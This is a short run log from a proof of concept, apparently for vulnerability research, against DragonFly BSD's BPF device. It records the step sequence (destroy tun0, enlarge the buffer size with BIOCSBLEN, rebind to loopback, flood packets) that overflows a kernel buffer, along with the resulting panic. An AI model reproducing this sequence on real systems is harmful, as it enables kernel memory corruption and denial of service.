# DF-3382 decisive run (guest DragonFly 6.5-DEVELOPMENT X86_64_GENERIC, INVARIANTS)
# setup: ifconfig tun0 create   (if_tun in-kernel)
# command (ssh, root): /root/poc/t3382
[+] binding to tun0 (allocates 4096-byte buffers)
[+] destroying tun0 now (root, from shell helper)
[+] tun0 destroyed; bd_bif==NULL, bd_sbuf still allocated
[+] BIOCSBLEN -> 524288 (buffers still 4096!)
[+] rebinding to lo0 (bpf_setif skips bpf_allocbufs)
[+] flooding loopback: each packet appends ~1.4KiB to a 4096-byte store buffer with bd_bufsize=524288
[+] sent 0/512
[+] sent 16/512
... (all 512 packets sent, every 16th printed) ...
[+] sent 496/512
[-] survived
# program exited 0; guest crashed seconds later (vm.sh status: down)
# serial console (see panic.txt):
Fatal trap 9: general protection fault while in kernel mode
cpuid = 0; lapic id = 0
instruction pointer = 0x8:0xffffffff806dea20
stack pointer = 0x10:0xfffff8011...6fc8  [UART garbled]
Stopped at cache_nlookup_maybe_shared+0x100: cmpq %rax,0x48(%rbx)
db>